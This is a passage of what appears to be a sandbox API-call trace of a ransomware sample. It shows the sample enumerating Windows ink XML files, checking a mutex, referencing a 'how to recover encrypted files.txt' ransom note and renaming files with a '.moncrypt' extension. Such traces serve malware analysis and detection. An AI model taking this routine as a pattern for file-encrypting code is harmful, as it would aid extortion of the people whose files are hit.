dwReserved1=0x0, cFileName="keypad", cAlternateFileName="")) returned 1 [0046.226] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f47ab01, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f47ab01, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f47ab01, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="keypad.xml", cAlternateFileName="")) returned 1 [0046.226] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0046.226] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0046.226] GlobalLock (hMem=0x44000c) returned 0x552180 [0046.226] GlobalHandle (pMem=0x552180) returned 0x44000c [0046.226] GlobalUnlock (hMem=0x44000c) returned 0 [0046.226] GlobalLock (hMem=0x44000c) returned 0x552180 [0046.227] GlobalLock (hMem=0x440004) returned 0x554190 [0046.227] GlobalHandle (pMem=0x552180) returned 0x44000c [0046.227] GlobalUnlock (hMem=0x44000c) returned 0 [0046.227] GlobalHandle (pMem=0x554190) returned 0x440004 [0046.227] GlobalUnlock (hMem=0x440004) returned 0 [0046.227] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0046.227] CharLowerBuffW (in: lpsz="keypad.xml", cchLength=0xa | out: lpsz="keypad.xml") returned 0xa [0046.227] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.227] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.227] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.227] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.227] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.227] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.227] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.227] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="y", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="yê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.227] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.227] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="k", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="kê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.227] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0046.227] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml", cchWideChar=75, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml", lpUsedDefaultChar=0x0) returned 75 [0046.227] CharLowerBuffW (in: lpsz=".xml", cchLength=0x4 | out: lpsz=".xml") returned 0x4 [0046.227] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".xml", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".xmlShared\\ink\\fsdefinitions\\keypad.xml", lpUsedDefaultChar=0x0) returned 4 [0046.228] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f47ab01, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f47ab01, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f47ab01, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="keypad.xml", cAlternateFileName="")) returned 0x54e240 [0046.228] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0046.228] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0046.228] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0046.228] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml", dwFileAttributes=0x20) returned 0 [0046.233] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt\x18潔瘱暼癀") returned 9 [0046.233] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml.moncrypt")) returned 0 [0046.233] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="main", cAlternateFileName="")) returned 1 [0046.233] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f513079, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f513079, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f513079, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x9655, dwReserved0=0x0, dwReserved1=0x0, cFileName="main.xml", cAlternateFileName="")) returned 1 [0046.233] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0046.233] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0046.233] GlobalLock (hMem=0x440004) returned 0x552180 [0046.233] GlobalHandle (pMem=0x552180) returned 0x440004 [0046.233] GlobalUnlock (hMem=0x440004) returned 0 [0046.234] GlobalLock (hMem=0x440004) returned 0x552180 [0046.234] GlobalLock (hMem=0x44000c) returned 0x554190 [0046.234] GlobalHandle (pMem=0x552180) returned 0x440004 [0046.234] GlobalUnlock (hMem=0x440004) returned 0 [0046.234] GlobalHandle (pMem=0x554190) returned 0x44000c [0046.234] GlobalUnlock (hMem=0x44000c) returned 0 [0046.234] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0046.234] CharLowerBuffW (in: lpsz="main.xml", cchLength=0x8 | out: lpsz="main.xml") returned 0x8 [0046.234] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.234] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.234] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.234] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.234] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.234] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.234] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.234] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.234] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0046.234] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml", cchWideChar=73, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml", lpUsedDefaultChar=0x0) returned 73 [0046.234] CharLowerBuffW (in: lpsz=".xml", cchLength=0x4 | out: lpsz=".xml") returned 0x4 [0046.234] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".xml", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".xmlShared\\ink\\fsdefinitions\\main.xml", lpUsedDefaultChar=0x0) returned 4 [0046.235] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f513079, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f513079, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f513079, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x9655, dwReserved0=0x0, dwReserved1=0x0, cFileName="main.xml", cAlternateFileName="")) returned 0x54e240 [0046.235] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0046.235] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0046.235] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0046.235] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml", dwFileAttributes=0x20) returned 0 [0046.235] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt\x18潔瘱暼癀") returned 9 [0046.235] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main.xml.moncrypt")) returned 0 [0046.236] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="numbers", cAlternateFileName="")) returned 1 [0046.236] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f79a7b7, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f79a7b7, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f7c0915, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xd1, dwReserved0=0x0, dwReserved1=0x0, cFileName="numbers.xml", cAlternateFileName="")) returned 1 [0046.236] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0046.236] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0046.236] GlobalLock (hMem=0x44000c) returned 0x552180 [0046.236] GlobalHandle (pMem=0x552180) returned 0x44000c [0046.236] GlobalUnlock (hMem=0x44000c) returned 0 [0046.236] GlobalLock (hMem=0x44000c) returned 0x552180 [0046.236] GlobalLock (hMem=0x440004) returned 0x554190 [0046.236] GlobalHandle (pMem=0x552180) returned 0x44000c [0046.236] GlobalUnlock (hMem=0x44000c) returned 0 [0046.236] GlobalHandle (pMem=0x554190) returned 0x440004 [0046.236] GlobalUnlock (hMem=0x440004) returned 0 [0046.236] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0046.236] CharLowerBuffW (in: lpsz="numbers.xml", cchLength=0xb | out: lpsz="numbers.xml") returned 0xb [0046.236] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.236] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.236] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.236] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.236] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.236] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.236] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.236] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.236] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.236] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.237] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.237] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0046.237] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml", cchWideChar=76, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xmlp", lpUsedDefaultChar=0x0) returned 76 [0046.237] CharLowerBuffW (in: lpsz=".xml", cchLength=0x4 | out: lpsz=".xml") returned 0x4 [0046.237] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".xml", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".xmlShared\\ink\\fsdefinitions\\numbers.xmlp", lpUsedDefaultChar=0x0) returned 4 [0046.237] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f79a7b7, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f79a7b7, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f7c0915, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xd1, dwReserved0=0x0, dwReserved1=0x0, cFileName="numbers.xml", cAlternateFileName="")) returned 0x54e240 [0046.237] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0046.237] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0046.237] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0046.237] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml", dwFileAttributes=0x20) returned 0 [0046.270] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt\x18潔瘱暼癀") returned 9 [0046.273] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers.xml.moncrypt")) returned 0 [0046.273] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskmenu", cAlternateFileName="")) returned 1 [0046.273] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f80cbd1, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f80cbd1, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f832d2f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xd7, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskmenu.xml", cAlternateFileName="")) returned 1 [0046.273] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0046.273] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0046.273] GlobalLock (hMem=0x440004) returned 0x552180 [0046.273] GlobalHandle (pMem=0x552180) returned 0x440004 [0046.273] GlobalUnlock (hMem=0x440004) returned 0 [0046.273] GlobalLock (hMem=0x440004) returned 0x552180 [0046.273] GlobalLock (hMem=0x44000c) returned 0x554190 [0046.273] GlobalHandle (pMem=0x552180) returned 0x440004 [0046.273] GlobalUnlock (hMem=0x440004) returned 0 [0046.273] GlobalHandle (pMem=0x554190) returned 0x44000c [0046.273] GlobalUnlock (hMem=0x44000c) returned 0 [0046.273] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0046.274] CharLowerBuffW (in: lpsz="oskmenu.xml", cchLength=0xb | out: lpsz="oskmenu.xml") returned 0xb [0046.274] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.274] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.274] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.274] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.274] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.274] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, 